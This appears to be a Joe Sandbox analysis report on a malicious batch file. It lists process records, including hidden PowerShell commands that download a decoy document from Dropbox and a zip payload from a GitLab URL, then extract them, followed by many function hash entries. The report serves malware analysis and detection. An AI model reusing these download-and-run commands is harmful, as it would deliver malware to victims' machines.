Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find
Imagebase:	0x7ff635bb0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:51:36
Start date:	06/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find
Imagebase:	0x7ff635bb0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:51:36
Start date:	06/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /L /I set "C:\Users\user\Desktop\kjhsdg.bat"
Imagebase:	0x7ff6e5e00000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:51:36
Start date:	06/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /L /I goto "C:\Users\user\Desktop\kjhsdg.bat"
Imagebase:	0x7ff6e5e00000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:51:36
Start date:	06/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /L /I echo "C:\Users\user\Desktop\kjhsdg.bat"
Imagebase:	0x7ff6e5e00000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:51:36
Start date:	06/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /L /I pause "C:\Users\user\Desktop\kjhsdg.bat"
Imagebase:	0x7ff6e5e00000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:51:36
Start date:	06/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c type tmp
Imagebase:	0x7ff6eecd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 1436, Parent PID: 4956

General

Target ID:	12
Start time:	09:51:36
Start date:	06/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:51:45
Start date:	06/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx'"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:51:46
Start date:	06/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip', 'C:\Users\Public\Document.zip')"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:53:40
Start date:	06/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF8490009CD Relevance: 2.0, Strings: 1, Instructions: 798COMMON

Download Yara Rule

Strings

.@_H, xrefs: 00007FF849000E61

Memory Dump Source

Source File: 0000000C.00000002.2132947159.00007FF849000000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849000000_powershell.jbxd

Similarity

API ID:
String ID: .@_H
API String ID: 0-1410794216
Opcode ID: 1d547e4e1ce775d6f06366e425468985950874e473f88baa544a9954f0529559
Instruction ID: f79caaa21b22df8c7c430eb16c45eaf639f797ac977855f6f26166cc8bf03d3a
Opcode Fuzzy Hash: 1d547e4e1ce775d6f06366e425468985950874e473f88baa544a9954f0529559
Instruction Fuzzy Hash: D7320531D0EACA5FEB66AB2868555B57BF1EF56298F0801FBD04DC70D3EE18A805C352

Function 00007FF849003545 Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2132947159.00007FF849000000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b359f1fe1f702ad6b1593d7d89eb0b29a2ba492c19d0eef2c3c1a4013459c93
Instruction ID: 1da8d2ec4a22f235da874ded4e72179add0cf79d86cd8d839634512052aec46e
Opcode Fuzzy Hash: 5b359f1fe1f702ad6b1593d7d89eb0b29a2ba492c19d0eef2c3c1a4013459c93
Instruction Fuzzy Hash: 40D12471D1EACA5FEBAAAB6868155B5BBE0FF16790F0800FAD04DC7193EA18D844C351

Function 00007FF849000AA7 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2132947159.00007FF849000000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e90511d18ba8677f541df4623b2d6ae5bd463de3b57626e16cc76f525b72e46
Instruction ID: a97892317870a6e54e89947db0f5df9961e7ab91c0a40dad5bbf2e9ba02b76fa
Opcode Fuzzy Hash: 0e90511d18ba8677f541df4623b2d6ae5bd463de3b57626e16cc76f525b72e46
Instruction Fuzzy Hash: BF31C531E1EAC74FFBB9AA28285517872E2EF42299B4401FED40DC71D3EE1CE844C211

Function 00007FF848F34195 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2132657395.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1acd79f81e2d7c3d4bed669cd4e4c6cb76b46a28d82ed1ad8d1153b31cd12ff2
Instruction ID: 6e9ea702e2b2b9e0e647e2dd016724a19502902dbb2eda46ad15dd746c4eb24e
Opcode Fuzzy Hash: 1acd79f81e2d7c3d4bed669cd4e4c6cb76b46a28d82ed1ad8d1153b31cd12ff2
Instruction Fuzzy Hash: 0F01677111CB0C4FD744EF4CE451AA5B7E0FB95364F10056EE58AC3695D736E881CB45

Analysis Process: powershell.exePID: 4980, Parent PID: 4956COMMON

Executed Functions

Function 00007FF848FF0A59 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3284134760.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848ff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b7f7f4e7a61276d5d5459d34ea1b3b064e8ba396d3000308185b0acb2c16b42
Instruction ID: a6ae730be4d75e85212d29b8214646097d404cbda8471ac6eaf541d84262bc78
Opcode Fuzzy Hash: 0b7f7f4e7a61276d5d5459d34ea1b3b064e8ba396d3000308185b0acb2c16b42
Instruction Fuzzy Hash: DF511531E1EA864FFB99B72C545217976D1EF812A4F4801BFDB49C31D3EF19A801874A

Function 00007FF848FF0AA7 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3284134760.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848ff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37b9c785b3e9afc660245a8c977e0960c4d67974f3b2c714a37a2140dfdfd7af
Instruction ID: b997af34b80e11b5749d5bd3372440237d8d7f6dc8dbb8184b95395e5d6a154a
Opcode Fuzzy Hash: 37b9c785b3e9afc660245a8c977e0960c4d67974f3b2c714a37a2140dfdfd7af
Instruction Fuzzy Hash: BB31C131E1EA864FF7A9B728145517826D1EF922A5F4800BEEB0DC71E3DF1DA8448719

Function 00007FF848F24195 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3283532431.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 386872062acf3f55815cfd671e7a2067435868caccf704ee43f1a23e831fee3d
Instruction ID: 4162f6ead7a415284e47442f5a1833bb8975456fb8d63e311333edac20ebbc8a
Opcode Fuzzy Hash: 386872062acf3f55815cfd671e7a2067435868caccf704ee43f1a23e831fee3d
Instruction Fuzzy Hash: 0F01677111CB0C4FD744EF0CE451AA5B7E0FB95364F10056EE58AC3695D736E881CB45

Analysis Process: powershell.exePID: 1848, Parent PID: 4956COMMON

Executed Functions

Function 00007FF848F149F8 Relevance: 1.9, Strings: 1, Instructions: 610COMMON

Download Yara Rule

Strings

fS_L, xrefs: 00007FF848F16970

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: fS_L
API String ID: 0-331000586
Opcode ID: c32e1c78f1a15887dbf50690143d5d131779cb7b806abdf2f2ab9f1e030cd8c0
Instruction ID: e55a704e827dd0f7729f60411fcfbc74c0f69bd43ae4f24b9e2d63591822f938
Opcode Fuzzy Hash: c32e1c78f1a15887dbf50690143d5d131779cb7b806abdf2f2ab9f1e030cd8c0
Instruction Fuzzy Hash: DC220674608A4D8FDB98EF1CC898AA977E1FF68305F0501A9E85ED72A5DB35EC41CB40

Function 00007FF848F14FE0 Relevance: 1.6, Strings: 1, Instructions: 341COMMON

Download Yara Rule

Strings

, xrefs: 00007FF848F150FD

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 2cbe4caf7d9f028126429d748b83a9797f75e801b92352008793ca4a73b07d74
Instruction ID: e0d190b2429e8aecef6e1e24fbed6a4ef7750b4f0670d44247211448079d619f
Opcode Fuzzy Hash: 2cbe4caf7d9f028126429d748b83a9797f75e801b92352008793ca4a73b07d74
Instruction Fuzzy Hash: C4917C30A0CA5D4FE765FB6CA8146B57BD1EF99360F1501BBE04DC32A3CA28AC428385

Function 00007FF848F13BA8 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

RS_H, xrefs: 00007FF848F17D70

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: RS_H
API String ID: 0-1805517029
Opcode ID: 737801c1ad56309015f34a3f47cf2fb1c8e539cb53da2085a6c649883ab0823f
Instruction ID: 474b0a628eb28c78348eeb126bf8229c0112b06a97cf34c1c4e59163ae535bb7
Opcode Fuzzy Hash: 737801c1ad56309015f34a3f47cf2fb1c8e539cb53da2085a6c649883ab0823f
Instruction Fuzzy Hash: CE416F31E0C91E8FE7A8EB2894553B977E2EB98790F440179E40ED32C9DF296C464785

Function 00007FF848F13B90 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

RS_H, xrefs: 00007FF848F17D70

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: RS_H
API String ID: 0-1805517029
Opcode ID: 952edc432a3f72d242dd7199f9835269e298f6837770f80bd184499e085ec5c7
Instruction ID: bf51990055dadb03a18f52b002a75745c997d11f096af5688361a3a7fa0936c3
Opcode Fuzzy Hash: 952edc432a3f72d242dd7199f9835269e298f6837770f80bd184499e085ec5c7
Instruction Fuzzy Hash: C0316D31A0C91E8FEB98FB2894453FA76E1EF98390F10053AE40DD32C5CF296C558794

Function 00007FF848F17CF9 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

RS_H, xrefs: 00007FF848F17D70

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: RS_H
API String ID: 0-1805517029
Opcode ID: 660565adb8e847c2fb7c62075ebb3475f4a060013e45f5c4241f2bf5d2752acb
Instruction ID: 54dd3789aee667a183cf7077493f63cc5f8c14591320efcb2d7d68dc2a3f5a37
Opcode Fuzzy Hash: 660565adb8e847c2fb7c62075ebb3475f4a060013e45f5c4241f2bf5d2752acb
Instruction Fuzzy Hash: A531BE31D0CA4E8FEB99EB2894513B97BE1EF98380F44017AE40DD32C6DF296C558785

Function 00007FF848F1542D Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa6c77a92a970c07fb7b4b9a172e61b6772c105f03c88e8f199ed9e8eeba0f02
Instruction ID: 5558a70da9c72f41767f27df0c9351f30d779ec9ee5f54e2333268dd2ef73d53
Opcode Fuzzy Hash: aa6c77a92a970c07fb7b4b9a172e61b6772c105f03c88e8f199ed9e8eeba0f02
Instruction Fuzzy Hash: 7AA1CE31F1D91A4FFBA8BB2894653B962D2EF99790F4440B9D04EC32C6EF2DAC024745

Function 00007FF848F14CDD Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2423db1b703ce4aeefb3846b75a2ed53e78df0301795be424872bf8d3ba23373
Instruction ID: c6d4e3cd33daf2b65fcc3555e2e7157bef9447356635930138fbd9d76186046f
Opcode Fuzzy Hash: 2423db1b703ce4aeefb3846b75a2ed53e78df0301795be424872bf8d3ba23373
Instruction Fuzzy Hash: B4716D31E28D1A5FEA94FB6C94156BDA3D3EFA8790F504275D01EC32D6DF28AC428385

Function 00007FF848F15285 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6606f30a81128751ff5c503f7eed01a86f085bc5f6c93e3c88bac9230576d04f
Instruction ID: 0f3b9258e5f05c08e91bfd210d6e57b296ace270f6ca583e951ab8a7d02776c7
Opcode Fuzzy Hash: 6606f30a81128751ff5c503f7eed01a86f085bc5f6c93e3c88bac9230576d04f
Instruction Fuzzy Hash: 4851053170DA894FD7A4EF6CD458A657BE1FF48351B0900BAD48ACB2A2DF24EC81C791

Function 00007FF848F14358 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 206e7df326713718367bf4bc8b6c9b246cb07206d65eee8eef5e7901daca54c2
Instruction ID: f955ddf658aff1d2105d81e8b56010d5a9e7032bd14361d7b1aed6c8fda75769
Opcode Fuzzy Hash: 206e7df326713718367bf4bc8b6c9b246cb07206d65eee8eef5e7901daca54c2
Instruction Fuzzy Hash: A7514871E2CA460FE798BB3C685A1B57BD1EF59390F4800BAD44EC32D2DE19AC428349

Function 00007FF848F16243 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebec7fad412a1091492bd27dfc77f28de984aefc326e947f5b7886b8fb6d8645
Instruction ID: db8e95ffa8eae4692e59a90ad6392f97146428075403b0a90ae1ddc629bda937
Opcode Fuzzy Hash: ebec7fad412a1091492bd27dfc77f28de984aefc326e947f5b7886b8fb6d8645
Instruction Fuzzy Hash: 4E51C431B0C9184FDB99EB28D8557B973E2EF99340F0101BAD84ED72D6DE28AC468781

Function 00007FF848F18680 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02b9e7bc36df11e18b117bf249eb22f0295b21792cf4be67ee0829a26055d565
Instruction ID: db84149c52f5f1f46183a4518a6e0e0fa8c364cf5bb289027436458c67cd3f30
Opcode Fuzzy Hash: 02b9e7bc36df11e18b117bf249eb22f0295b21792cf4be67ee0829a26055d565
Instruction Fuzzy Hash: EC41B73131881C8FDAD8EB1CE898E6977E1FF6C31275505A6E44ACB275DA65DC81CB40

Function 00007FF848F14310 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb11d3fc480c6e7b7f0e7892f25afaf8feec2cc6df55cf9d0acbc71bf49c771c
Instruction ID: 80f71ec0b2a01704aab45a706b8bebadd658710fbb930674d7a7834aad791569
Opcode Fuzzy Hash: cb11d3fc480c6e7b7f0e7892f25afaf8feec2cc6df55cf9d0acbc71bf49c771c
Instruction Fuzzy Hash: 59419030A1C90A4FEA94FB2D9054ABA77D2EFA4390F640579D01EC32D6DF29EC819744

Function 00007FF848F14298 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ce73a305fd854146ba43999edac7444c291bf062ce5c4e7f5093c9513d6d076
Instruction ID: adb0b2f48f785129ff77275bac4b4be58b6e6294a13e2aa23c64b963d30d712e
Opcode Fuzzy Hash: 7ce73a305fd854146ba43999edac7444c291bf062ce5c4e7f5093c9513d6d076
Instruction Fuzzy Hash: E7318E30A1D94A4FEB98EB28C554B7577D1EF99390F6845B9D00EC72E2DF28AC82D740

Function 00007FF848F17EB8 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cee25ded5cc6bcf6e59b3c117f2850a96210cce77351593eb64cc0cb6e675f98
Instruction ID: 23d9d8548dafe451fea0a4d9f752b9e8fdd879695677ddd966ee452530ada33c
Opcode Fuzzy Hash: cee25ded5cc6bcf6e59b3c117f2850a96210cce77351593eb64cc0cb6e675f98
Instruction Fuzzy Hash: 1021083BA4E6A55FD311776CBC514D67F70DE822B6B0801B7D18DCA093CA0C188BC3A5

Function 00007FF848F171A1 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d97df437724e640e846fd86b5dff12d559072ed7ec4a1f3958e1974d94a94ebf
Instruction ID: d939d212c397291cc99836544fd58fda110db4c050d0e96bbf24eca3ceda8019
Opcode Fuzzy Hash: d97df437724e640e846fd86b5dff12d559072ed7ec4a1f3958e1974d94a94ebf
Instruction Fuzzy Hash: 6421903061CE488FCB94EB2CC48496573E2FF6931174505AED08AC7AA1CB25FC42CB04

Function 00007FF848F18438 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7180b26a34c985c61c1ba8b6f1559d84d4c430d556ade353b57269aa3da5a8e
Instruction ID: bced193cce0e2ddb38ffad2520d4ae962f363654d0ee765ce288025c933f7c2d
Opcode Fuzzy Hash: c7180b26a34c985c61c1ba8b6f1559d84d4c430d556ade353b57269aa3da5a8e
Instruction Fuzzy Hash: 2211C271B1CE090EE798FB2CA495275B3C2EBA8394F04053ED44ED36D2DE69AC414685

Function 00007FF848F18661 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25e23d95c649e8aa833bc475489a2e527ce2fc6ed95b04e6c5ef822878311249
Instruction ID: 71e8f79471d9bb709cca0366b6db1725081d13dda31a4781967bf16d517afeb8
Opcode Fuzzy Hash: 25e23d95c649e8aa833bc475489a2e527ce2fc6ed95b04e6c5ef822878311249
Instruction Fuzzy Hash: 26118F3121D8888FD795EB2CD89C9647FE1FF6A31174904E7E088CB1B2EA14DC80C740

Function 00007FF848F13D82 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 789dd7d68784d612a5ad3a1b430a14abb5bcb54577f8e684ad928741a701996d
Instruction ID: 18f193b8ae8317f67514979986adfb359f15b0701936edf15a097a68f380ea43
Opcode Fuzzy Hash: 789dd7d68784d612a5ad3a1b430a14abb5bcb54577f8e684ad928741a701996d
Instruction Fuzzy Hash: E8012D72F1CA194FE668AA5C78022B873D2E789761F04023FE58ED3286DE256C43418A

Function 00007FF848F13D96 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57a2248b09061596c4c12f1fa02db8a30038b5d7ac56d0469e15e2470ada2333
Instruction ID: db5bb2d1d9987b91a44ff7200ad1b20b6824e5cba6a3fc261cc3f56f848ea745
Opcode Fuzzy Hash: 57a2248b09061596c4c12f1fa02db8a30038b5d7ac56d0469e15e2470ada2333
Instruction Fuzzy Hash: A3012D72F1CA184FE658AA5C78062B973D2E789761F04023FE18ED3286DE256C13418A

Function 00007FF848F187C2 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 390757e1d5ef30f1976ed0e31a25042c8661a9a81b5b0a6b450c609b11615af7
Instruction ID: 2861331e4653e5d8cd9af91b1a06e5a992933c8d325c65ad84a84ff9c679d21c
Opcode Fuzzy Hash: 390757e1d5ef30f1976ed0e31a25042c8661a9a81b5b0a6b450c609b11615af7
Instruction Fuzzy Hash: 9E21723091CA894FDB95EB28C554F617BE1EF65350F5845E9C04ECB2E2CB25EC82CB00

Function 00007FF848F13DA7 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3104dc8f9eafaff3c1a50fafb2bef9070af0d34f8bea4007284c65387aa01539
Instruction ID: 2d99c507d996810a7822dccca56809ed11743fec738fd6a568b3da3c4a184a9c
Opcode Fuzzy Hash: 3104dc8f9eafaff3c1a50fafb2bef9070af0d34f8bea4007284c65387aa01539
Instruction Fuzzy Hash: 48015272F1CA194FE65CAA5C78062B873D2E7C9671F04423FE18ED3282DE255C0341CA

Function 00007FF848F133B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3384036587.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
